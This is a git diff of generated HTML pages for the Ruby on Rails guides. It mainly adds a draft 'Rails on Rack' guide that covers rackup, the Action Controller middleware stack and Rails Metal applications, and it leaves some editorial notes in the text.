+<div class="ulist"><ul>
+<li>
+<p>
+January 9, 2009: Complete rewrite by <a href="../authors.html#lifo">Pratik</a>
+</p>
+</li>
+<li>
+<p>
+September 6, 2008: Initial version by Matthew Bergman
+</p>
+</li>
+</ul></div>
+</div>
+
+ </div>
+ </div>
+</body>
+</html>
diff --git a/railties/doc/guides/html/rails_on_rack.html b/railties/doc/guides/html/rails_on_rack.html
new file mode 100644
index 0000000000..eb1ff6ef1b
--- /dev/null
+++ b/railties/doc/guides/html/rails_on_rack.html
@@ -0,0 +1,450 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
+<head>
+ <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+ <title>Rails on Rack</title>
+ <!--[if lt IE 8]>
+ <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
+ <![endif]-->
+ <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
+ <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
+ <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
+</head>
+<body>
+ <div id="header" >
+ <div id="logo">
+ <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
+ </div>
+
+ <h1 id="site_title"><span>Ruby on Rails</span></h1>
+ <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
+
+ <ul id="navMain">
+ <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
+ <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
+ </ul>
+ </div>
+
+ <div id="container">
+
+ <div id="sidebar">
+ <h2>Chapters</h2>
+ <ol>
+ <li>
+ <a href="#_introduction_to_rack">Introduction to Rack</a>
+ </li>
+ <li>
+ <a href="#_rails_on_rack">Rails on Rack</a>
+ <ul>
+
+ <li><a href="#_actioncontroller_dispatcher_new">ActionController::Dispatcher.new</a></li>
+
+ <li><a href="#_script_server">script/server</a></li>
+
+ <li><a href="#_rackup">rackup</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_action_controller_middleware_stack">Action Controller Middleware Stack</a>
+ <ul>
+
+ <li><a href="#_inspecting_middleware_stack">Inspecting Middleware Stack</a></li>
+
+ <li><a href="#_adding_middlewares">Adding Middlewares</a></li>
+
+ <li><a href="#_internal_middleware_stack">Internal Middleware Stack</a></li>
+
+ <li><a href="#_customizing_internal_middleware_stack">Customizing Internal Middleware Stack</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_rails_metal_applications">Rails Metal Applications</a>
+ <ul>
+
+ <li><a href="#_generating_a_metal_application">Generating a Metal Application</a></li>
+
+ <li><a href="#_execution_order">Execution Order</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_middlewares_and_rails">Middlewares and Rails</a>
+ </li>
+ <li>
+ <a href="#_changelog">Changelog</a>
+ </li>
+ </ol>
+ </div>
+
+ <div id="content">
+ <h1>Rails on Rack</h1>
+ <div id="preamble">
+<div class="sectionbody">
+<div class="paragraph"><p>This guide covers Rails integration with Rack and interfacing with other Rack components. By referring to this guide, you will be able to:</p></div>
+<div class="ulist"><ul>
+<li>
+<p>
+Create Rails Metal applications
+</p>
+</li>
+<li>
+<p>
+Use Rack Middlewares in your Rails applications
+</p>
+</li>
+<li>
+<p>
+Understand Action Pack&#8217;s internal Middleware stack
+</p>
+</li>
+<li>
+<p>
+Define custom internal Middleware stack
+</p>
+</li>
+<li>
+<p>
+Understand the best practices for developing a middleware aimed at Rails applications
+</p>
+</li>
+</ul></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content">This guide assumes a working knowledge of Rack protocol and Rack concepts such as middlewares, url maps and Rack::Builder.</td>
+</tr></table>
+</div>
+</div>
+</div>
+<h2 id="_introduction_to_rack">1. Introduction to Rack</h2>
+<div class="sectionbody">
+<div class="sidebarblock">
+<div class="sidebar-content">
+<div class="paragraph"><p>Rack provides a minimal, modular and adaptable interface for developing web applications in Ruby. By wrapping HTTP requests and responses in the simplest way possible, it unifies and distills the API for web servers, web frameworks, and software in between (the so-called middleware) into a single method call.</p></div>
+<div class="ulist"><ul>
+<li>
+<p>
+<a href="http://rack.rubyforge.org/doc">Rack API Documentation</a>
+</p>
+</li>
+</ul></div>
+</div></div>
+<div class="paragraph"><p>Explaining Rack is not really in the scope of this guide. In case you are not familiar with Rack&#8217;s basics, you should check out the following links:</p></div>
+<div class="ulist"><ul>
+<li>
+<p>
+<a href="http://rack.github.com">Official Rack Website</a>
+</p>
+</li>
+<li>
+<p>
+<a href="http://chneukirchen.org/blog/archive/2007/02/introducing-rack.html">Introducing Rack</a>
+</p>
+</li>
+<li>
+<p>
+<a href="http://m.onkey.org/2008/11/17/ruby-on-rack-1">Ruby on Rack #1 - Hello Rack!</a>
+</p>
+</li>
+<li>
+<p>
+<a href="http://m.onkey.org/2008/11/18/ruby-on-rack-2-rack-builder">Ruby on Rack #2 - The Builder</a>
+</p>
+</li>
+</ul></div>
+</div>
+<h2 id="_rails_on_rack">2. Rails on Rack</h2>
+<div class="sectionbody">
+<h3 id="_actioncontroller_dispatcher_new">2.1. ActionController::Dispatcher.new</h3>
+<div class="paragraph"><p><tt>ActionController::Dispatcher.new</tt> is the primary Rack application object of a Rails application. It responds to <tt>call</tt> method with a single <tt>env</tt> argument and returns a Rack response. Any Rack compliant web server should be using <tt>ActionController::Dispatcher.new</tt> object to serve a Rails application.</p></div>
+<h3 id="_script_server">2.2. script/server</h3>
+<div class="paragraph"><p><tt>script/server</tt> does the basic job of creating a <tt>Rack::Builder</tt> object and starting the webserver. This is Rails equivalent of Rack&#8217;s <tt>rackup</tt> script.</p></div>
+<div class="paragraph"><p>Here&#8217;s how <tt>script/server</tt> creates an instance of <tt>Rack::Builder</tt></p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>app <span style="color: #990000">=</span> Rack<span style="color: #990000">::</span>Builder<span style="color: #990000">.</span>new <span style="color: #FF0000">{</span>
+ use Rails<span style="color: #990000">::</span>Rack<span style="color: #990000">::</span>LogTailer <span style="font-weight: bold"><span style="color: #0000FF">unless</span></span> options<span style="color: #990000">[:</span>detach<span style="color: #990000">]</span>
+ use Rails<span style="color: #990000">::</span>Rack<span style="color: #990000">::</span>Static
+ use Rails<span style="color: #990000">::</span>Rack<span style="color: #990000">::</span>Debugger <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> options<span style="color: #990000">[:</span>debugger<span style="color: #990000">]</span>
+ run ActionController<span style="color: #990000">::</span>Dispatcher<span style="color: #990000">.</span>new
+<span style="color: #FF0000">}</span><span style="color: #990000">.</span>to_app</tt></pre></div></div>
+<div class="paragraph"><p>Middlewares used in the code above are most useful in development envrionment. The following table explains their usage:</p></div>
+<div class="tableblock">
+<table rules="all"
+width="100%"
+frame="border"
+cellspacing="0" cellpadding="4">
+<col width="50%" />
+<col width="50%" />
+<thead valign="top">
+<tr>
+<th align="left">Middleware </th>
+<th align="left">Purpose</th>
+</tr>
+</thead>
+<tbody valign="top">
+<tr>
+<td align="left"><p class="table">Rails::Rack::LogTailer</p></td>
+<td align="left"><p class="table">Appends log file output to console</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table">Rails::Rack::Static</p></td>
+<td align="left"><p class="table">Serves static files inside <tt>RAILS_ROOT/public</tt> directory</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table">Rails::Rack::Debugger</p></td>
+<td align="left"><p class="table">Starts Debugger</p></td>
+</tr>
+</tbody>
+</table>
+</div>
+<h3 id="_rackup">2.3. rackup</h3>
+<div class="paragraph"><p>To use <tt>rackup</tt> instead of Rails' <tt>script/server</tt>, you can put the following inside <tt>config.ru</tt> of your Rails application&#8217;s root directory:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># RAILS_ROOT/config.ru</span></span>
+<span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">"config/environment"</span>
+
+use Rails<span style="color: #990000">::</span>Rack<span style="color: #990000">::</span>LogTailer
+use Rails<span style="color: #990000">::</span>Rack<span style="color: #990000">::</span>Static
+run ActionController<span style="color: #990000">::</span>Dispatcher<span style="color: #990000">.</span>new</tt></pre></div></div>
+<div class="paragraph"><p>And start the server:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #990000">[</span>lifo@null application<span style="color: #990000">]</span>$ rackup</tt></pre></div></div>
+<div class="paragraph"><p>To find out more about different <tt>rackup</tt> options:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #990000">[</span>lifo@null application<span style="color: #990000">]</span>$ rackup --help</tt></pre></div></div>
+</div>
+<h2 id="_action_controller_middleware_stack">3. Action Controller Middleware Stack</h2>
+<div class="sectionbody">
+<div class="paragraph"><p>Many of Action Controller&#8217;s internal components are implemented as Rack middlewares. <tt>ActionController::Dispatcher</tt> uses <tt>ActionController::MiddlewareStack</tt> to combine various internal and external middlewares to form a complete Rails Rack application.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content">
+<div class="title">What is ActionController::MiddlewareStack ?</div><tt>ActionController::MiddlewareStack</tt> is Rails equivalent of <tt>Rack::Builder</tt>, but built for better flexibility and more features to meet Rails' requirements.</td>
+</tr></table>
+</div>
+<h3 id="_inspecting_middleware_stack">3.1. Inspecting Middleware Stack</h3>
+<div class="paragraph"><p>Rails has a handy rake task for inspecting the middleware stack in use:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>$ rake middleware</tt></pre></div></div>
+<div class="paragraph"><p>For a freshly generated Rails application, this will produce:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>use ActionController<span style="color: #990000">::</span>Lock
+use ActionController<span style="color: #990000">::</span>Failsafe
+use ActiveRecord<span style="color: #990000">::</span>QueryCache
+use ActionController<span style="color: #990000">::</span>Session<span style="color: #990000">::</span>CookieStore<span style="color: #990000">,</span> <span style="color: #FF0000">{</span><span style="color: #990000">:</span>secret<span style="color: #990000">=&gt;</span><span style="color: #FF0000">"&lt;secret&gt;"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>session_key<span style="color: #990000">=&gt;</span><span style="color: #FF0000">"_&lt;app&gt;_session"</span><span style="color: #FF0000">}</span>
+use Rails<span style="color: #990000">::</span>Rack<span style="color: #990000">::</span>Metal
+use ActionController<span style="color: #990000">::</span>VerbPiggybacking
+run ActionController<span style="color: #990000">::</span>Dispatcher<span style="color: #990000">.</span>new</tt></pre></div></div>
+<h3 id="_adding_middlewares">3.2. Adding Middlewares</h3>
+<div class="paragraph"><p>Rails provides a very simple configuration interface for adding generic Rack middlewares to a Rails applications.</p></div>
+<div class="paragraph"><p>Here&#8217;s how you can add middlewares via <tt>environment.rb</tt></p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># environment.rb</span></span>
+
+config<span style="color: #990000">.</span>middleware<span style="color: #990000">.</span>use Rack<span style="color: #990000">::</span>BounceFavicon</tt></pre></div></div>
+<h3 id="_internal_middleware_stack">3.3. Internal Middleware Stack</h3>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>use <span style="color: #FF0000">"ActionController::Lock"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #990000">=&gt;</span> lambda <span style="color: #FF0000">{</span>
+ <span style="color: #990000">!</span>ActionController<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>allow_concurrency
+<span style="color: #FF0000">}</span>
+
+use <span style="color: #FF0000">"ActionController::Failsafe"</span>
+
+use <span style="color: #FF0000">"ActiveRecord::QueryCache"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #990000">=&gt;</span> lambda <span style="color: #FF0000">{</span> <span style="font-weight: bold"><span style="color: #0000FF">defined</span></span><span style="color: #990000">?(</span>ActiveRecord<span style="color: #990000">)</span> <span style="color: #FF0000">}</span>
+
+<span style="color: #990000">[</span><span style="color: #FF0000">"ActionController::Session::CookieStore"</span><span style="color: #990000">,</span>
+ <span style="color: #FF0000">"ActionController::Session::MemCacheStore"</span><span style="color: #990000">,</span>
+ <span style="color: #FF0000">"ActiveRecord::SessionStore"</span><span style="color: #990000">].</span>each <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>store<span style="color: #990000">|</span>
+ use<span style="color: #990000">(</span>store<span style="color: #990000">,</span> ActionController<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>session_options<span style="color: #990000">,</span>
+ <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #990000">=&gt;</span> lambda <span style="color: #FF0000">{</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> session_store <span style="color: #990000">=</span> ActionController<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>session_store
+ session_store<span style="color: #990000">.</span>name <span style="color: #990000">==</span> store
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ <span style="color: #FF0000">}</span>
+ <span style="color: #990000">)</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+use ActionController<span style="color: #990000">::</span>VerbPiggybacking</tt></pre></div></div>
+<div class="tableblock">
+<table rules="all"
+width="100%"
+frame="border"
+cellspacing="0" cellpadding="4">
+<col width="50%" />
+<col width="50%" />
+<thead valign="top">
+<tr>
+<th align="left">Middleware </th>
+<th align="left">Purpose</th>
+</tr>
+</thead>
+<tbody valign="top">
+<tr>
+<td align="left"><p class="table">ActionController::Lock</p></td>
+<td align="left"><p class="table">Sets <tt>env["rack.multithread"]</tt> flag to <tt>true</tt> and wraps the application within a Mutex.</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table">ActionController::Failsafe</p></td>
+<td align="left"><p class="table">Returns HTTP Status <tt>500</tt> to the client if an exception gets raised while dispatching.</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table">ActiveRecord::QueryCache</p></td>
+<td align="left"><p class="table">Enable the Active Record query cache.</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table">ActionController::Session::CookieStore</p></td>
+<td align="left"><p class="table">Uses the cookie based session store.</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table">ActionController::Session::MemCacheStore</p></td>
+<td align="left"><p class="table">Uses the memcached based session store.</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table">ActiveRecord::SessionStore</p></td>
+<td align="left"><p class="table">Uses the database based session store.</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table">ActionController::VerbPiggybacking</p></td>
+<td align="left"><p class="table">Sets HTTP method based on <tt>_method</tt> parameter or <tt>env["HTTP_X_HTTP_METHOD_OVERRIDE"]</tt>.</p></td>
+</tr>
+</tbody>
+</table>
+</div>
+<h3 id="_customizing_internal_middleware_stack">3.4. Customizing Internal Middleware Stack</h3>
+<div class="paragraph"><p>VERIFY THIS WORKS. Just a code dump at the moment.</p></div>
+<div class="paragraph"><p>Put the following in an initializer.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>ActionController<span style="color: #990000">::</span>Dispatcher<span style="color: #990000">.</span>middleware <span style="color: #990000">=</span> ActionController<span style="color: #990000">::</span>MiddlewareStack<span style="color: #990000">.</span>new <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>m<span style="color: #990000">|</span>
+ m<span style="color: #990000">.</span>use ActionController<span style="color: #990000">::</span>Lock
+ m<span style="color: #990000">.</span>use ActionController<span style="color: #990000">::</span>Failsafe
+ m<span style="color: #990000">.</span>use ActiveRecord<span style="color: #990000">::</span>QueryCache
+ m<span style="color: #990000">.</span>use ActionController<span style="color: #990000">::</span>Session<span style="color: #990000">::</span>CookieStore
+ m<span style="color: #990000">.</span>use ActionController<span style="color: #990000">::</span>VerbPiggybacking
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>Josh says :</p></div>
+<div class="sidebarblock">
+<div class="sidebar-content">
+<div class="paragraph"><p>3.3: I wouldn&#8217;t recommend this: custom internal stack
+i&#8217;d recommend using config.middleware.use api
+we still need a better api for swapping out existing middleware, etc
+config.middleware.swap AC::Sessions, My::Sessoins
+or something like that</p></div>
+</div></div>
+</div>
+<h2 id="_rails_metal_applications">4. Rails Metal Applications</h2>
+<div class="sectionbody">
+<div class="paragraph"><p>Rails Metal applications are minimal Rack applications specially designed for integrating with a typical Rails application. As Rails Metal Applications skip all of the Action Controller stack, serving a request has no overhead from the Rails framework itself. This is especially useful for infrequent cases where the performance of the full stack Rails framework is an issue.</p></div>
+<h3 id="_generating_a_metal_application">4.1. Generating a Metal Application</h3>
+<div class="paragraph"><p>Rails provides a generator called <tt>performance_test</tt> for creating new performance tests:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>script/generate metal poller</tt></pre></div></div>
+<div class="paragraph"><p>This generates <tt>poller.rb</tt> in the <tt>app/metal</tt> directory:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># Allow the metal piece to run in isolation</span></span>
+<span style="font-weight: bold"><span style="color: #000080">require</span></span><span style="color: #990000">(</span>File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">)</span> <span style="color: #990000">+</span> <span style="color: #FF0000">"/../../config/environment"</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">unless</span></span> <span style="font-weight: bold"><span style="color: #0000FF">defined</span></span><span style="color: #990000">?(</span>Rails<span style="color: #990000">)</span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Poller
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>call<span style="color: #990000">(</span>env<span style="color: #990000">)</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> env<span style="color: #990000">[</span><span style="color: #FF0000">"PATH_INFO"</span><span style="color: #990000">]</span> <span style="color: #990000">=~</span> <span style="color: #FF6600">/^\/poller/</span>
+ <span style="color: #990000">[</span><span style="color: #993399">200</span><span style="color: #990000">,</span> <span style="color: #FF0000">{</span><span style="color: #FF0000">"Content-Type"</span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"text/html"</span><span style="color: #FF0000">}</span><span style="color: #990000">,</span> <span style="color: #990000">[</span><span style="color: #FF0000">"Hello, World!"</span><span style="color: #990000">]]</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">else</span></span>
+ <span style="color: #990000">[</span><span style="color: #993399">404</span><span style="color: #990000">,</span> <span style="color: #FF0000">{</span><span style="color: #FF0000">"Content-Type"</span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"text/html"</span><span style="color: #FF0000">}</span><span style="color: #990000">,</span> <span style="color: #990000">[</span><span style="color: #FF0000">"Not Found"</span><span style="color: #990000">]]</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>Metal applications are an optimization. You should make sure to <a href="http://weblog.rubyonrails.org/2008/12/20/performance-of-rails-metal">understand the related performance implications</a> before using it.</p></div>
+<h3 id="_execution_order">4.2. Execution Order</h3>
+<div class="paragraph"><p>All Metal Applications are executed by <tt>Rails::Rack::Metal</tt> middleware, which is a part of the <tt>ActionController::MiddlewareStack</tt> chain.</p></div>
+<div class="paragraph"><p>Here&#8217;s the primary method responsible for running the Metal applications:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> call<span style="color: #990000">(</span>env<span style="color: #990000">)</span>
+ <span style="color: #009900">@metals</span><span style="color: #990000">.</span>keys<span style="color: #990000">.</span>each <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>app<span style="color: #990000">|</span>
+ result <span style="color: #990000">=</span> app<span style="color: #990000">.</span>call<span style="color: #990000">(</span>env<span style="color: #990000">)</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">return</span></span> result <span style="font-weight: bold"><span style="color: #0000FF">unless</span></span> result<span style="color: #990000">[</span><span style="color: #993399">0</span><span style="color: #990000">].</span>to_i <span style="color: #990000">==</span> <span style="color: #993399">404</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ <span style="color: #009900">@app</span><span style="color: #990000">.</span>call<span style="color: #990000">(</span>env<span style="color: #990000">)</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>In the code above, <tt>@metals</tt> is an ordered ( alphabetical ) hash of metal applications. Due to the alphabetical ordering, <tt>aaa.rb</tt> will come before <tt>bbb.rb</tt> in the metal chain.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/important.png" alt="Important" />
+</td>
+<td class="content">Metal applications cannot return the HTTP Status <tt>404</tt> to a client, as it is used for continuing the Metal chain execution. Please use normal Rails controllers or a custom middleware if returning <tt>404</tt> is a requirement.</td>
+</tr></table>
+</div>
+</div>
+<h2 id="_middlewares_and_rails">5. Middlewares and Rails</h2>
+<div class="sectionbody">
+</div>
+<h2 id="_changelog">6. Changelog</h2>
+<div class="sectionbody">
+<div class="paragraph"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/4">Lighthouse ticket</a></p></div>
+<div class="ulist"><ul>
+<li>
+<p>
+January 11, 2009: First version by <a href="../authors.html#lifo">Pratik</a>
+</p>
+</li>
+</ul></div>
+</div>
+
+ </div>
+ </div>
+</body>
+</html>
diff --git a/railties/doc/guides/html/routing_outside_in.html b/railties/doc/guides/html/routing_outside_in.html
index bf45a8d046..22477e18e7 100644
--- a/railties/doc/guides/html/routing_outside_in.html
+++ b/railties/doc/guides/html/routing_outside_in.html
@@ -1,330 +1,162 @@
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
- <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
- <title>Rails Routing from the Outside In</title>
- <!--[if lt IE 8]>
- <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
- <![endif]-->
- <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
- <style type="text/css">
- div#container {
- max-width: 900px;
- padding-bottom: 3em;
-}
-
-div#content {
- margin-left: 200px;
-}
-
-div#container.notoc {
- max-width: 600px;
-}
-
-.notoc div#content {
- margin-left: 0;
-}
-
-pre {
- line-height: 1.4em;
-}
-
-#content p tt {
- background: #eeeeee;
- border: solid 1px #cccccc;
- padding: 3px;
-}
-
-dt {
- font-weight: bold;
-}
-
-#content dt tt {
- font-size: 10pt;
-}
-
-dd {
- margin-left: 3em;
-}
-
-#content dt tt, #content pre tt {
- background: none;
- padding: 0;
- border: 0;
-}
-
-#content .olist ol {
- margin-left: 2em;
-}
-
-#header {
- position: relative;
- max-width: 840px;
- margin-left: auto;
- margin-right: auto;
-}
-
-#header.notoc {
- max-width: 580px;
-}
-
-#logo {
- position: absolute;
- left: 10px;
- top: 10px;
- width: 110px;
- height: 140px;
-}
-
-div#header h1#site_title {
- background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat;
- position: absolute;
- width: 392px;
- height: 55px;
- left: 145px;
- top: 20px;
- margin: 0;
- padding: 0;
-}
-
-#site_title span {
- display: none;
-}
-
-#site_title_tagline {
- display: none;
-}
-
-ul#navMain {
- position: absolute;
- margin: 0;
- padding: 0;
- top: 97px;
- left: 145px;
-}
-
-.left-floaty, .right-floaty {
- padding: 15px;
-}
-
-.admonitionblock,
-.tableblock {
- margin-left: 1em;
- margin-right: 1em;
- margin-top: 0.25em;
- margin-bottom: 1em;
-}
-
-.admonitionblock .icon {
- padding-right: 8px;
-}
-
-.admonitionblock .content {
- border: solid 1px #ffda78;
- background: #fffebd;
- padding: 10px;
- padding-top: 8px;
- padding-bottom: 8px;
-}
-
-.admonitionblock .title {
- font-size: 140%;
- margin-bottom: 0.5em;
-}
-
-.tableblock table {
- border: solid 1px #aaaaff;
- background: #f0f0ff;
-}
-
-.tableblock th {
- background: #e0e0e0;
-}
-
-.tableblock th,
-.tableblock td {
- padding: 3px;
- padding-left: 5px;
- padding-right: 5px;
-}
-
-.sidebarblock {
- margin-top: 0.25em;
- margin: 1em;
- border: solid 1px #ccccbb;
- padding: 8px;
- background: #ffffe0;
-}
-
-.sidebarblock .sidebar-title {
- font-size: 140%;
- font-weight: 600;
- margin-bottom: 0.3em;
-}
-
-.sidebarblock .sidebar-content > .para:last-child > p {
- margin-bottom: 0;
-}
-
-.sidebarblock .sidebar-title a {
- text-decoration: none;
-}
-
-.sidebarblock .sidebar-title a:hover {
- text-decoration: underline;
-}
-
- </style>
+ <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+ <title>Rails Routing from the Outside In</title>
+ <!--[if lt IE 8]>
+ <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
+ <![endif]-->
+ <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
+ <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
+ <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
</head>
<body>
- <div id="header" >
- <div id="logo">
- <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
- </div>
-
- <h1 id="site_title"><span>Ruby on Rails</span></h1>
- <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
+ <div id="header" >
+ <div id="logo">
+ <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
+ </div>
+
+ <h1 id="site_title"><span>Ruby on Rails</span></h1>
+ <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
- <ul id="navMain">
- <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
- <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
- </ul>
- </div>
+ <ul id="navMain">
+ <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
+ <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
+ </ul>
+ </div>
- <div id="container">
-
- <div id="sidebar">
- <h2>Chapters</h2>
- <ol>
- <li>
- <a href="#_the_dual_purpose_of_routing">The Dual Purpose of Routing</a>
- <ul>
-
- <li><a href="#_connecting_urls_to_code">Connecting URLs to Code</a></li>
-
- <li><a href="#_generating_urls_from_code">Generating URLs from Code</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_quick_tour_of_routes_rb">Quick Tour of Routes.rb</a>
- <ul>
-
- <li><a href="#_processing_the_file">Processing the File</a></li>
-
- <li><a href="#_restful_routes">RESTful Routes</a></li>
-
- <li><a href="#_named_routes">Named Routes</a></li>
-
- <li><a href="#_nested_routes">Nested Routes</a></li>
